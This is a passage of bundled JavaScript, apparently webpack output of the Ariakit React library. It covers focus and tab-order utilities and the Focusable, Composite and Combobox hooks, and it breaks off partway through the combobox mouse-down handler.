function getNextTabbableIn(container, includeContainer, fallbackToFirst, fallbackToFocusable) {
  const activeElement = getActiveElement(container);
  const allFocusable = getAllFocusableIn(container, includeContainer);
  const activeIndex = allFocusable.indexOf(activeElement);
  const nextFocusableElements = allFocusable.slice(activeIndex + 1);
  return nextFocusableElements.find(isTabbable) || (fallbackToFirst ? allFocusable.find(isTabbable) : null) || (fallbackToFocusable ? nextFocusableElements[0] : null) || null;
}
function getNextTabbable(fallbackToFirst, fallbackToFocusable) {
  return getNextTabbableIn(
    document.body,
    false,
    fallbackToFirst,
    fallbackToFocusable
  );
}
function getPreviousTabbableIn(container, includeContainer, fallbackToLast, fallbackToFocusable) {
  const activeElement = getActiveElement(container);
  const allFocusable = getAllFocusableIn(container, includeContainer).reverse();
  const activeIndex = allFocusable.indexOf(activeElement);
  const previousFocusableElements = allFocusable.slice(activeIndex + 1);
  return previousFocusableElements.find(isTabbable) || (fallbackToLast ? allFocusable.find(isTabbable) : null) || (fallbackToFocusable ? previousFocusableElements[0] : null) || null;
}
function getPreviousTabbable(fallbackToFirst, fallbackToFocusable) {
  return getPreviousTabbableIn(
    document.body,
    false,
    fallbackToFirst,
    fallbackToFocusable
  );
}
function getClosestFocusable(element) {
  while (element && !isFocusable(element)) {
    element = element.closest(selector);
  }
  return element || null;
}
function hasFocus(element) {
  const activeElement = DTR5TSDJ_getActiveElement(element);
  if (!activeElement) return false;
  if (activeElement === element) return true;
  const activeDescendant = activeElement.getAttribute("aria-activedescendant");
  if (!activeDescendant) return false;
  return activeDescendant === element.id;
}
function hasFocusWithin(element) {
  const activeElement = DTR5TSDJ_getActiveElement(element);
  if (!activeElement) return false;
  if (contains(element, activeElement)) return true;
  const activeDescendant = activeElement.getAttribute("aria-activedescendant");
  if (!activeDescendant) return false;
  if (!("id" in element)) return false;
  if (activeDescendant === element.id) return true;
  return !!element.querySelector(`#${CSS.escape(activeDescendant)}`);
}
function focusIfNeeded(element) {
  if (!hasFocusWithin(element) && isFocusable(element)) {
    element.focus();
  }
}
function disableFocus(element) {
  var _a;
  const currentTabindex = (_a = element.getAttribute("tabindex")) != null ? _a : "";
  element.setAttribute("data-tabindex", currentTabindex);
  element.setAttribute("tabindex", "-1");
}
function disableFocusIn(container, includeContainer) {
  const tabbableElements = getAllTabbableIn(container, includeContainer);
  for (const element of tabbableElements) {
    disableFocus(element);
  }
}
function restoreFocusIn(container) {
  const elements = container.querySelectorAll("[data-tabindex]");
  const restoreTabIndex = (element) => {
    const tabindex = element.getAttribute("data-tabindex");
    element.removeAttribute("data-tabindex");
    if (tabindex) {
      element.setAttribute("tabindex", tabindex);
    } else {
      element.removeAttribute("tabindex");
    }
  };
  if (container.hasAttribute("data-tabindex")) {
    restoreTabIndex(container);
  }
  for (const element of elements) {
    restoreTabIndex(element);
  }
}
function focusIntoView(element, options) {
  if (!("scrollIntoView" in element)) {
    element.focus();
  } else {
    element.focus({ preventScroll: true });
    element.scrollIntoView(_chunks_3YLGPPWQ_spreadValues({ block: "nearest", inline: "nearest" }, options));
  }
}


;// ./node_modules/@ariakit/react-core/esm/__chunks/LVA2YJMS.js
"use client";





// src/focusable/focusable.tsx






var LVA2YJMS_TagName = "div";
var isSafariBrowser = isSafari();
var alwaysFocusVisibleInputTypes = [
  "text",
  "search",
  "url",
  "tel",
  "email",
  "password",
  "number",
  "date",
  "month",
  "week",
  "time",
  "datetime",
  "datetime-local"
];
var safariFocusAncestorSymbol = Symbol("safariFocusAncestor");
function isSafariFocusAncestor(element) {
  if (!element) return false;
  return !!element[safariFocusAncestorSymbol];
}
function markSafariFocusAncestor(element, value) {
  if (!element) return;
  element[safariFocusAncestorSymbol] = value;
}
function isAlwaysFocusVisible(element) {
  const { tagName, readOnly, type } = element;
  if (tagName === "TEXTAREA" && !readOnly) return true;
  if (tagName === "SELECT" && !readOnly) return true;
  if (tagName === "INPUT" && !readOnly) {
    return alwaysFocusVisibleInputTypes.includes(type);
  }
  if (element.isContentEditable) return true;
  const role = element.getAttribute("role");
  if (role === "combobox" && element.dataset.name) {
    return true;
  }
  return false;
}
function getLabels(element) {
  if ("labels" in element) {
    return element.labels;
  }
  return null;
}
function isNativeCheckboxOrRadio(element) {
  const tagName = element.tagName.toLowerCase();
  if (tagName === "input" && element.type) {
    return element.type === "radio" || element.type === "checkbox";
  }
  return false;
}
function isNativeTabbable(tagName) {
  if (!tagName) return true;
  return tagName === "button" || tagName === "summary" || tagName === "input" || tagName === "select" || tagName === "textarea" || tagName === "a";
}
function supportsDisabledAttribute(tagName) {
  if (!tagName) return true;
  return tagName === "button" || tagName === "input" || tagName === "select" || tagName === "textarea";
}
function getTabIndex(focusable, trulyDisabled, nativeTabbable, supportsDisabled, tabIndexProp) {
  if (!focusable) {
    return tabIndexProp;
  }
  if (trulyDisabled) {
    if (nativeTabbable && !supportsDisabled) {
      return -1;
    }
    return;
  }
  if (nativeTabbable) {
    return tabIndexProp;
  }
  return tabIndexProp || 0;
}
function useDisableEvent(onEvent, disabled) {
  return useEvent((event) => {
    onEvent == null ? void 0 : onEvent(event);
    if (event.defaultPrevented) return;
    if (disabled) {
      event.stopPropagation();
      event.preventDefault();
    }
  });
}
var isKeyboardModality = true;
function onGlobalMouseDown(event) {
  const target = event.target;
  if (target && "hasAttribute" in target) {
    if (!target.hasAttribute("data-focus-visible")) {
      isKeyboardModality = false;
    }
  }
}
function onGlobalKeyDown(event) {
  if (event.metaKey) return;
  if (event.ctrlKey) return;
  if (event.altKey) return;
  isKeyboardModality = true;
}
var useFocusable = createHook(
  function useFocusable2(_a) {
    var _b = _a, {
      focusable = true,
      accessibleWhenDisabled,
      autoFocus,
      onFocusVisible
    } = _b, props = __objRest(_b, [
      "focusable",
      "accessibleWhenDisabled",
      "autoFocus",
      "onFocusVisible"
    ]);
    const ref = (0,external_React_.useRef)(null);
    (0,external_React_.useEffect)(() => {
      if (!focusable) return;
      addGlobalEventListener("mousedown", onGlobalMouseDown, true);
      addGlobalEventListener("keydown", onGlobalKeyDown, true);
    }, [focusable]);
    if (isSafariBrowser) {
      (0,external_React_.useEffect)(() => {
        if (!focusable) return;
        const element = ref.current;
        if (!element) return;
        if (!isNativeCheckboxOrRadio(element)) return;
        const labels = getLabels(element);
        if (!labels) return;
        const onMouseUp = () => queueMicrotask(() => element.focus());
        for (const label of labels) {
          label.addEventListener("mouseup", onMouseUp);
        }
        return () => {
          for (const label of labels) {
            label.removeEventListener("mouseup", onMouseUp);
          }
        };
      }, [focusable]);
    }
    const disabled = focusable && disabledFromProps(props);
    const trulyDisabled = !!disabled && !accessibleWhenDisabled;
    const [focusVisible, setFocusVisible] = (0,external_React_.useState)(false);
    (0,external_React_.useEffect)(() => {
      if (!focusable) return;
      if (trulyDisabled && focusVisible) {
        setFocusVisible(false);
      }
    }, [focusable, trulyDisabled, focusVisible]);
    (0,external_React_.useEffect)(() => {
      if (!focusable) return;
      if (!focusVisible) return;
      const element = ref.current;
      if (!element) return;
      if (typeof IntersectionObserver === "undefined") return;
      const observer = new IntersectionObserver(() => {
        if (!isFocusable(element)) {
          setFocusVisible(false);
        }
      });
      observer.observe(element);
      return () => observer.disconnect();
    }, [focusable, focusVisible]);
    const onKeyPressCapture = useDisableEvent(
      props.onKeyPressCapture,
      disabled
    );
    const onMouseDownCapture = useDisableEvent(
      props.onMouseDownCapture,
      disabled
    );
    const onClickCapture = useDisableEvent(props.onClickCapture, disabled);
    const onMouseDownProp = props.onMouseDown;
    const onMouseDown = useEvent((event) => {
      onMouseDownProp == null ? void 0 : onMouseDownProp(event);
      if (event.defaultPrevented) return;
      if (!focusable) return;
      const element = event.currentTarget;
      if (!isSafariBrowser) return;
      if (isPortalEvent(event)) return;
      if (!isButton(element) && !isNativeCheckboxOrRadio(element)) return;
      let receivedFocus = false;
      const onFocus = () => {
        receivedFocus = true;
      };
      const options = { capture: true, once: true };
      element.addEventListener("focusin", onFocus, options);
      const focusableContainer = getClosestFocusable(element.parentElement);
      markSafariFocusAncestor(focusableContainer, true);
      queueBeforeEvent(element, "mouseup", () => {
        element.removeEventListener("focusin", onFocus, true);
        markSafariFocusAncestor(focusableContainer, false);
        if (receivedFocus) return;
        focusIfNeeded(element);
      });
    });
    const handleFocusVisible = (event, currentTarget) => {
      if (currentTarget) {
        event.currentTarget = currentTarget;
      }
      if (!focusable) return;
      const element = event.currentTarget;
      if (!element) return;
      if (!hasFocus(element)) return;
      onFocusVisible == null ? void 0 : onFocusVisible(event);
      if (event.defaultPrevented) return;
      element.dataset.focusVisible = "true";
      setFocusVisible(true);
    };
    const onKeyDownCaptureProp = props.onKeyDownCapture;
    const onKeyDownCapture = useEvent((event) => {
      onKeyDownCaptureProp == null ? void 0 : onKeyDownCaptureProp(event);
      if (event.defaultPrevented) return;
      if (!focusable) return;
      if (focusVisible) return;
      if (event.metaKey) return;
      if (event.altKey) return;
      if (event.ctrlKey) return;
      if (!isSelfTarget(event)) return;
      const element = event.currentTarget;
      const applyFocusVisible = () => handleFocusVisible(event, element);
      queueBeforeEvent(element, "focusout", applyFocusVisible);
    });
    const onFocusCaptureProp = props.onFocusCapture;
    const onFocusCapture = useEvent((event) => {
      onFocusCaptureProp == null ? void 0 : onFocusCaptureProp(event);
      if (event.defaultPrevented) return;
      if (!focusable) return;
      if (!isSelfTarget(event)) {
        setFocusVisible(false);
        return;
      }
      const element = event.currentTarget;
      const applyFocusVisible = () => handleFocusVisible(event, element);
      if (isKeyboardModality || isAlwaysFocusVisible(event.target)) {
        queueBeforeEvent(event.target, "focusout", applyFocusVisible);
      } else {
        setFocusVisible(false);
      }
    });
    const onBlurProp = props.onBlur;
    const onBlur = useEvent((event) => {
      onBlurProp == null ? void 0 : onBlurProp(event);
      if (!focusable) return;
      if (!isFocusEventOutside(event)) return;
      setFocusVisible(false);
    });
    const autoFocusOnShow = (0,external_React_.useContext)(FocusableContext);
    const autoFocusRef = useEvent((element) => {
      if (!focusable) return;
      if (!autoFocus) return;
      if (!element) return;
      if (!autoFocusOnShow) return;
      queueMicrotask(() => {
        if (hasFocus(element)) return;
        if (!isFocusable(element)) return;
        element.focus();
      });
    });
    const tagName = useTagName(ref);
    const nativeTabbable = focusable && isNativeTabbable(tagName);
    const supportsDisabled = focusable && supportsDisabledAttribute(tagName);
    const styleProp = props.style;
    const style = (0,external_React_.useMemo)(() => {
      if (trulyDisabled) {
        return _3YLGPPWQ_spreadValues({ pointerEvents: "none" }, styleProp);
      }
      return styleProp;
    }, [trulyDisabled, styleProp]);
    props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({
      "data-focus-visible": focusable && focusVisible || void 0,
      "data-autofocus": autoFocus || void 0,
      "aria-disabled": disabled || void 0
    }, props), {
      ref: useMergeRefs(ref, autoFocusRef, props.ref),
      style,
      tabIndex: getTabIndex(
        focusable,
        trulyDisabled,
        nativeTabbable,
        supportsDisabled,
        props.tabIndex
      ),
      disabled: supportsDisabled && trulyDisabled ? true : void 0,
      // TODO: Test Focusable contentEditable.
      contentEditable: disabled ? void 0 : props.contentEditable,
      onKeyPressCapture,
      onClickCapture,
      onMouseDownCapture,
      onMouseDown,
      onKeyDownCapture,
      onFocusCapture,
      onBlur
    });
    return removeUndefinedValues(props);
  }
);
var Focusable = forwardRef2(function Focusable2(props) {
  const htmlProps = useFocusable(props);
  return createElement(LVA2YJMS_TagName, htmlProps);
});



;// ./node_modules/@ariakit/react-core/esm/__chunks/ITI7HKP4.js
"use client";







// src/composite/composite.tsx







var ITI7HKP4_TagName = "div";
function isGrid(items) {
  return items.some((item) => !!item.rowId);
}
function isPrintableKey(event) {
  const target = event.target;
  if (target && !isTextField(target)) return false;
  return event.key.length === 1 && !event.ctrlKey && !event.metaKey;
}
function isModifierKey(event) {
  return event.key === "Shift" || event.key === "Control" || event.key === "Alt" || event.key === "Meta";
}
function useKeyboardEventProxy(store, onKeyboardEvent, previousElementRef) {
  return useEvent((event) => {
    var _a;
    onKeyboardEvent == null ? void 0 : onKeyboardEvent(event);
    if (event.defaultPrevented) return;
    if (event.isPropagationStopped()) return;
    if (!isSelfTarget(event)) return;
    if (isModifierKey(event)) return;
    if (isPrintableKey(event)) return;
    const state = store.getState();
    const activeElement = (_a = getEnabledItem(store, state.activeId)) == null ? void 0 : _a.element;
    if (!activeElement) return;
    const _b = event, { view } = _b, eventInit = __objRest(_b, ["view"]);
    const previousElement = previousElementRef == null ? void 0 : previousElementRef.current;
    if (activeElement !== previousElement) {
      activeElement.focus();
    }
    if (!fireKeyboardEvent(activeElement, event.type, eventInit)) {
      event.preventDefault();
    }
    if (event.currentTarget.contains(activeElement)) {
      event.stopPropagation();
    }
  });
}
function findFirstEnabledItemInTheLastRow(items) {
  return _5VQZOHHZ_findFirstEnabledItem(
    flatten2DArray(reverseArray(_5VQZOHHZ_groupItemsByRows(items)))
  );
}
function useScheduleFocus(store) {
  const [scheduled, setScheduled] = (0,external_React_.useState)(false);
  const schedule = (0,external_React_.useCallback)(() => setScheduled(true), []);
  const activeItem = store.useState(
    (state) => getEnabledItem(store, state.activeId)
  );
  (0,external_React_.useEffect)(() => {
    const activeElement = activeItem == null ? void 0 : activeItem.element;
    if (!scheduled) return;
    if (!activeElement) return;
    setScheduled(false);
    activeElement.focus({ preventScroll: true });
  }, [activeItem, scheduled]);
  return schedule;
}
var useComposite = createHook(
  function useComposite2(_a) {
    var _b = _a, {
      store,
      composite = true,
      focusOnMove = composite,
      moveOnKeyPress = true
    } = _b, props = __objRest(_b, [
      "store",
      "composite",
      "focusOnMove",
      "moveOnKeyPress"
    ]);
    const context = useCompositeProviderContext();
    store = store || context;
    invariant(
      store,
       false && 0
    );
    const ref = (0,external_React_.useRef)(null);
    const previousElementRef = (0,external_React_.useRef)(null);
    const scheduleFocus = useScheduleFocus(store);
    const moves = store.useState("moves");
    const [, setBaseElement] = useTransactionState(
      composite ? store.setBaseElement : null
    );
    (0,external_React_.useEffect)(() => {
      var _a2;
      if (!store) return;
      if (!moves) return;
      if (!composite) return;
      if (!focusOnMove) return;
      const { activeId: activeId2 } = store.getState();
      const itemElement = (_a2 = getEnabledItem(store, activeId2)) == null ? void 0 : _a2.element;
      if (!itemElement) return;
      focusIntoView(itemElement);
    }, [store, moves, composite, focusOnMove]);
    useSafeLayoutEffect(() => {
      if (!store) return;
      if (!moves) return;
      if (!composite) return;
      const { baseElement, activeId: activeId2 } = store.getState();
      const isSelfAcive = activeId2 === null;
      if (!isSelfAcive) return;
      if (!baseElement) return;
      const previousElement = previousElementRef.current;
      previousElementRef.current = null;
      if (previousElement) {
        fireBlurEvent(previousElement, { relatedTarget: baseElement });
      }
      if (!hasFocus(baseElement)) {
        baseElement.focus();
      }
    }, [store, moves, composite]);
    const activeId = store.useState("activeId");
    const virtualFocus = store.useState("virtualFocus");
    useSafeLayoutEffect(() => {
      var _a2;
      if (!store) return;
      if (!composite) return;
      if (!virtualFocus) return;
      const previousElement = previousElementRef.current;
      previousElementRef.current = null;
      if (!previousElement) return;
      const activeElement = (_a2 = getEnabledItem(store, activeId)) == null ? void 0 : _a2.element;
      const relatedTarget = activeElement || DTR5TSDJ_getActiveElement(previousElement);
      if (relatedTarget === previousElement) return;
      fireBlurEvent(previousElement, { relatedTarget });
    }, [store, activeId, virtualFocus, composite]);
    const onKeyDownCapture = useKeyboardEventProxy(
      store,
      props.onKeyDownCapture,
      previousElementRef
    );
    const onKeyUpCapture = useKeyboardEventProxy(
      store,
      props.onKeyUpCapture,
      previousElementRef
    );
    const onFocusCaptureProp = props.onFocusCapture;
    const onFocusCapture = useEvent((event) => {
      onFocusCaptureProp == null ? void 0 : onFocusCaptureProp(event);
      if (event.defaultPrevented) return;
      if (!store) return;
      const { virtualFocus: virtualFocus2 } = store.getState();
      if (!virtualFocus2) return;
      const previousActiveElement = event.relatedTarget;
      const isSilentlyFocused = silentlyFocused(event.currentTarget);
      if (isSelfTarget(event) && isSilentlyFocused) {
        event.stopPropagation();
        previousElementRef.current = previousActiveElement;
      }
    });
    const onFocusProp = props.onFocus;
    const onFocus = useEvent((event) => {
      onFocusProp == null ? void 0 : onFocusProp(event);
      if (event.defaultPrevented) return;
      if (!composite) return;
      if (!store) return;
      const { relatedTarget } = event;
      const { virtualFocus: virtualFocus2 } = store.getState();
      if (virtualFocus2) {
        if (isSelfTarget(event) && !isItem(store, relatedTarget)) {
          queueMicrotask(scheduleFocus);
        }
      } else if (isSelfTarget(event)) {
        store.setActiveId(null);
      }
    });
    const onBlurCaptureProp = props.onBlurCapture;
    const onBlurCapture = useEvent((event) => {
      var _a2;
      onBlurCaptureProp == null ? void 0 : onBlurCaptureProp(event);
      if (event.defaultPrevented) return;
      if (!store) return;
      const { virtualFocus: virtualFocus2, activeId: activeId2 } = store.getState();
      if (!virtualFocus2) return;
      const activeElement = (_a2 = getEnabledItem(store, activeId2)) == null ? void 0 : _a2.element;
      const nextActiveElement = event.relatedTarget;
      const nextActiveElementIsItem = isItem(store, nextActiveElement);
      const previousElement = previousElementRef.current;
      previousElementRef.current = null;
      if (isSelfTarget(event) && nextActiveElementIsItem) {
        if (nextActiveElement === activeElement) {
          if (previousElement && previousElement !== nextActiveElement) {
            fireBlurEvent(previousElement, event);
          }
        } else if (activeElement) {
          fireBlurEvent(activeElement, event);
        } else if (previousElement) {
          fireBlurEvent(previousElement, event);
        }
        event.stopPropagation();
      } else {
        const targetIsItem = isItem(store, event.target);
        if (!targetIsItem && activeElement) {
          fireBlurEvent(activeElement, event);
        }
      }
    });
    const onKeyDownProp = props.onKeyDown;
    const moveOnKeyPressProp = useBooleanEvent(moveOnKeyPress);
    const onKeyDown = useEvent((event) => {
      var _a2;
      onKeyDownProp == null ? void 0 : onKeyDownProp(event);
      if (event.defaultPrevented) return;
      if (!store) return;
      if (!isSelfTarget(event)) return;
      const { orientation, renderedItems, activeId: activeId2 } = store.getState();
      const activeItem = getEnabledItem(store, activeId2);
      if ((_a2 = activeItem == null ? void 0 : activeItem.element) == null ? void 0 : _a2.isConnected) return;
      const isVertical = orientation !== "horizontal";
      const isHorizontal = orientation !== "vertical";
      const grid = isGrid(renderedItems);
      const isHorizontalKey = event.key === "ArrowLeft" || event.key === "ArrowRight" || event.key === "Home" || event.key === "End";
      if (isHorizontalKey && isTextField(event.currentTarget)) return;
      const up = () => {
        if (grid) {
          const item = findFirstEnabledItemInTheLastRow(renderedItems);
          return item == null ? void 0 : item.id;
        }
        return store == null ? void 0 : store.last();
      };
      const keyMap = {
        ArrowUp: (grid || isVertical) && up,
        ArrowRight: (grid || isHorizontal) && store.first,
        ArrowDown: (grid || isVertical) && store.first,
        ArrowLeft: (grid || isHorizontal) && store.last,
        Home: store.first,
        End: store.last,
        PageUp: store.first,
        PageDown: store.last
      };
      const action = keyMap[event.key];
      if (action) {
        const id = action();
        if (id !== void 0) {
          if (!moveOnKeyPressProp(event)) return;
          event.preventDefault();
          store.move(id);
        }
      }
    });
    props = useWrapElement(
      props,
      (element) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(CompositeContextProvider, { value: store, children: element }),
      [store]
    );
    const activeDescendant = store.useState((state) => {
      var _a2;
      if (!store) return;
      if (!composite) return;
      if (!state.virtualFocus) return;
      return (_a2 = getEnabledItem(store, state.activeId)) == null ? void 0 : _a2.id;
    });
    props = _3YLGPPWQ_spreadProps(_3YLGPPWQ_spreadValues({
      "aria-activedescendant": activeDescendant
    }, props), {
      ref: useMergeRefs(ref, setBaseElement, props.ref),
      onKeyDownCapture,
      onKeyUpCapture,
      onFocusCapture,
      onFocus,
      onBlurCapture,
      onKeyDown
    });
    const focusable = store.useState(
      (state) => composite && (state.virtualFocus || state.activeId === null)
    );
    props = useFocusable(_3YLGPPWQ_spreadValues({ focusable }, props));
    return props;
  }
);
var Composite = forwardRef2(function Composite2(props) {
  const htmlProps = useComposite(props);
  return createElement(ITI7HKP4_TagName, htmlProps);
});



;// ./node_modules/@ariakit/react-core/esm/combobox/combobox.js
"use client";
















// src/combobox/combobox.tsx






var combobox_TagName = "input";
function isFirstItemAutoSelected(items, activeValue, autoSelect) {
  if (!autoSelect) return false;
  const firstItem = items.find((item) => !item.disabled && item.value);
  return (firstItem == null ? void 0 : firstItem.value) === activeValue;
}
function hasCompletionString(value, activeValue) {
  if (!activeValue) return false;
  if (value == null) return false;
  value = PBFD2E7P_normalizeString(value);
  return activeValue.length > value.length && activeValue.toLowerCase().indexOf(value.toLowerCase()) === 0;
}
function isInputEvent(event) {
  return event.type === "input";
}
function isAriaAutoCompleteValue(value) {
  return value === "inline" || value === "list" || value === "both" || value === "none";
}
function getDefaultAutoSelectId(items) {
  const item = items.find((item2) => {
    var _a;
    if (item2.disabled) return false;
    return ((_a = item2.element) == null ? void 0 : _a.getAttribute("role")) !== "tab";
  });
  return item == null ? void 0 : item.id;
}
var useCombobox = createHook(
  function useCombobox2(_a) {
    var _b = _a, {
      store,
      focusable = true,
      autoSelect: autoSelectProp = false,
      getAutoSelectId,
      setValueOnChange,
      showMinLength = 0,
      showOnChange,
      showOnMouseDown,
      showOnClick = showOnMouseDown,
      showOnKeyDown,
      showOnKeyPress = showOnKeyDown,
      blurActiveItemOnClick,
      setValueOnClick = true,
      moveOnKeyPress = true,
      autoComplete = "list"
    } = _b, props = __objRest(_b, [
      "store",
      "focusable",
      "autoSelect",
      "getAutoSelectId",
      "setValueOnChange",
      "showMinLength",
      "showOnChange",
      "showOnMouseDown",
      "showOnClick",
      "showOnKeyDown",
      "showOnKeyPress",
      "blurActiveItemOnClick",
      "setValueOnClick",
      "moveOnKeyPress",
      "autoComplete"
    ]);
    const context = useComboboxProviderContext();
    store = store || context;
    invariant(
      store,
       false && 0
    );
    const ref = (0,external_React_.useRef)(null);
    const [valueUpdated, forceValueUpdate] = useForceUpdate();
    const canAutoSelectRef = (0,external_React_.useRef)(false);
    const composingRef = (0,external_React_.useRef)(false);
    const autoSelect = store.useState(
      (state) => state.virtualFocus && autoSelectProp
    );
    const inline = autoComplete === "inline" || autoComplete === "both";
    const [canInline, setCanInline] = (0,external_React_.useState)(inline);
    useUpdateLayoutEffect(() => {
      if (!inline) return;
      setCanInline(true);
    }, [inline]);
    const storeValue = store.useState("value");
    const prevSelectedValueRef = (0,external_React_.useRef)();
    (0,external_React_.useEffect)(() => {
      return sync(store, ["selectedValue", "activeId"], (_, prev) => {
        prevSelectedValueRef.current = prev.selectedValue;
      });
    }, []);
    const inlineActiveValue = store.useState((state) => {
      var _a2;
      if (!inline) return;
      if (!canInline) return;
      if (state.activeValue && Array.isArray(state.selectedValue)) {
        if (state.selectedValue.includes(state.activeValue)) return;
        if ((_a2 = prevSelectedValueRef.current) == null ? void 0 : _a2.includes(state.activeValue)) return;
      }
      return state.activeValue;
    });
    const items = store.useState("renderedItems");
    const open = store.useState("open");
    const contentElement = store.useState("contentElement");
    const value = (0,external_React_.useMemo)(() => {
      if (!inline) return storeValue;
      if (!canInline) return storeValue;
      const firstItemAutoSelected = isFirstItemAutoSelected(
        items,
        inlineActiveValue,
        autoSelect
      );
      if (firstItemAutoSelected) {
        if (hasCompletionString(storeValue, inlineActiveValue)) {
          const slice = (inlineActiveValue == null ? void 0 : inlineActiveValue.slice(storeValue.length)) || "";
          return storeValue + slice;
        }
        return storeValue;
      }
      return inlineActiveValue || storeValue;
    }, [inline, canInline, items, inlineActiveValue, autoSelect, storeValue]);
    (0,external_React_.useEffect)(() => {
      const element = ref.current;
      if (!element) return;
      const onCompositeItemMove = () => setCanInline(true);
      element.addEventListener("combobox-item-move", onCompositeItemMove);
      return () => {
        element.removeEventListener("combobox-item-move", onCompositeItemMove);
      };
    }, []);
    (0,external_React_.useEffect)(() => {
      if (!inline) return;
      if (!canInline) return;
      if (!inlineActiveValue) return;
      const firstItemAutoSelected = isFirstItemAutoSelected(
        items,
        inlineActiveValue,
        autoSelect
      );
      if (!firstItemAutoSelected) return;
      if (!hasCompletionString(storeValue, inlineActiveValue)) return;
      let cleanup = PBFD2E7P_noop;
      queueMicrotask(() => {
        const element = ref.current;
        if (!element) return;
        const { start: prevStart, end: prevEnd } = getTextboxSelection(element);
        const nextStart = storeValue.length;
        const nextEnd = inlineActiveValue.length;
        setSelectionRange(element, nextStart, nextEnd);
        cleanup = () => {
          if (!hasFocus(element)) return;
          const { start, end } = getTextboxSelection(element);
          if (start !== nextStart) return;
          if (end !== nextEnd) return;
          setSelectionRange(element, prevStart, prevEnd);
        };
      });
      return () => cleanup();
    }, [
      valueUpdated,
      inline,
      canInline,
      inlineActiveValue,
      items,
      autoSelect,
      storeValue
    ]);
    const scrollingElementRef = (0,external_React_.useRef)(null);
    const getAutoSelectIdProp = useEvent(getAutoSelectId);
    const autoSelectIdRef = (0,external_React_.useRef)(null);
    (0,external_React_.useEffect)(() => {
      if (!open) return;
      if (!contentElement) return;
      const scrollingElement = getScrollingElement(contentElement);
      if (!scrollingElement) return;
      scrollingElementRef.current = scrollingElement;
      const onUserScroll = () => {
        canAutoSelectRef.current = false;
      };
      const onScroll = () => {
        if (!store) return;
        if (!canAutoSelectRef.current) return;
        const { activeId } = store.getState();
        if (activeId === null) return;
        if (activeId === autoSelectIdRef.current) return;
        canAutoSelectRef.current = false;
      };
      const options = { passive: true, capture: true };
      scrollingElement.addEventListener("wheel", onUserScroll, options);
      scrollingElement.addEventListener("touchmove", onUserScroll, options);
      scrollingElement.addEventListener("scroll", onScroll, options);
      return () => {
        scrollingElement.removeEventListener("wheel", onUserScroll, true);
        scrollingElement.removeEventListener("touchmove", onUserScroll, true);
        scrollingElement.removeEventListener("scroll", onScroll, true);
      };
    }, [open, contentElement, store]);
    useSafeLayoutEffect(() => {
      if (!storeValue) return;
      if (composingRef.current) return;
      canAutoSelectRef.current = true;
    }, [storeValue]);
    useSafeLayoutEffect(() => {
      if (autoSelect !== "always" && open) return;
      canAutoSelectRef.current = open;
    }, [autoSelect, open]);
    const resetValueOnSelect = store.useState("resetValueOnSelect");
    useUpdateEffect(() => {
      var _a2, _b2;
      const canAutoSelect = canAutoSelectRef.current;
      if (!store) return;
      if (!open) return;
      if (!canAutoSelect && !resetValueOnSelect) return;
      const { baseElement, contentElement: contentElement2, activeId } = store.getState();
      if (baseElement && !hasFocus(baseElement)) return;
      if (contentElement2 == null ? void 0 : contentElement2.hasAttribute("data-placing")) {
        const observer = new MutationObserver(forceValueUpdate);
        observer.observe(contentElement2, { attributeFilter: ["data-placing"] });
        return () => observer.disconnect();
      }
      if (autoSelect && canAutoSelect) {
        const userAutoSelectId = getAutoSelectIdProp(items);
        const autoSelectId = userAutoSelectId !== void 0 ? userAutoSelectId : (_a2 = getDefaultAutoSelectId(items)) != null ? _a2 : store.first();
        autoSelectIdRef.current = autoSelectId;
        store.move(autoSelectId != null ? autoSelectId : null);
      } else {
        const element = (_b2 = store.item(activeId || store.first())) == null ? void 0 : _b2.element;
        if (element && "scrollIntoView" in element) {
          element.scrollIntoView({ block: "nearest", inline: "nearest" });
        }
      }
      return;
    }, [
      store,
      open,
      valueUpdated,
      storeValue,
      autoSelect,
      resetValueOnSelect,
      getAutoSelectIdProp,
      items
    ]);
    (0,external_React_.useEffect)(() => {
      if (!inline) return;
      const combobox = ref.current;
      if (!combobox) return;
      const elements = [combobox, contentElement].filter(
        (value2) => !!value2
      );
      const onBlur2 = (event) => {
        if (elements.every((el) => isFocusEventOutside(event, el))) {
          store == null ? void 0 : store.setValue(value);
        }
      };
      for (const element of elements) {
        element.addEventListener("focusout", onBlur2);
      }
      return () => {
        for (const element of elements) {
          element.removeEventListener("focusout", onBlur2);
        }
      };
    }, [inline, contentElement, store, value]);
    const canShow = (event) => {
      const currentTarget = event.currentTarget;
      return currentTarget.value.length >= showMinLength;
    };
    const onChangeProp = props.onChange;
    const showOnChangeProp = useBooleanEvent(showOnChange != null ? showOnChange : canShow);
    const setValueOnChangeProp = useBooleanEvent(
      // If the combobox is combined with tags, the value will be set by the tag
      // input component.
      setValueOnChange != null ? setValueOnChange : !store.tag
    );
    const onChange = useEvent((event) => {
      onChangeProp == null ? void 0 : onChangeProp(event);
      if (event.defaultPrevented) return;
      if (!store) return;
      const currentTarget = event.currentTarget;
      const { value: value2, selectionStart, selectionEnd } = currentTarget;
      const nativeEvent = event.nativeEvent;
      canAutoSelectRef.current = true;
      if (isInputEvent(nativeEvent)) {
        if (nativeEvent.isComposing) {
          canAutoSelectRef.current = false;
          composingRef.current = true;
        }
        if (inline) {
          const textInserted = nativeEvent.inputType === "insertText" || nativeEvent.inputType === "insertCompositionText";
          const caretAtEnd = selectionStart === value2.length;
          setCanInline(textInserted && caretAtEnd);
        }
      }
      if (setValueOnChangeProp(event)) {
        const isSameValue = value2 === store.getState().value;
        store.setValue(value2);
        queueMicrotask(() => {
          setSelectionRange(currentTarget, selectionStart, selectionEnd);
        });
        if (inline && autoSelect && isSameValue) {
          forceValueUpdate();
        }
      }
      if (showOnChangeProp(event)) {
        store.show();
      }
      if (!autoSelect || !canAutoSelectRef.current) {
        store.setActiveId(null);
      }
    });
    const onCompositionEndProp = props.onCompositionEnd;
    const onCompositionEnd = useEvent((event) => {
      canAutoSelectRef.current = true;
      composingRef.current = false;
      onCompositionEndProp == null ? void 0 : onCompositionEndProp(event);
      if (event.defaultPrevented) return;
      if (!autoSelect) return;
      forceValueUpdate();
    });
    const onMouseDownProp = props.onMouseDown;
    const blurActiveItemOnClickProp = useBooleanEvent(
      blurActiveItemOnClick != null ? blurActiveItemOnClick : () => !!(store == null ? void 0 : store.getState().includesBaseElement)
    );
    const setValueOnClickProp = useBooleanEvent(setValueOnClick);
    const showOnClickProp = useBooleanEvent(showOnClick != null ? showOnClick : canShow);
    const onMouseDown = useEvent((event) => {
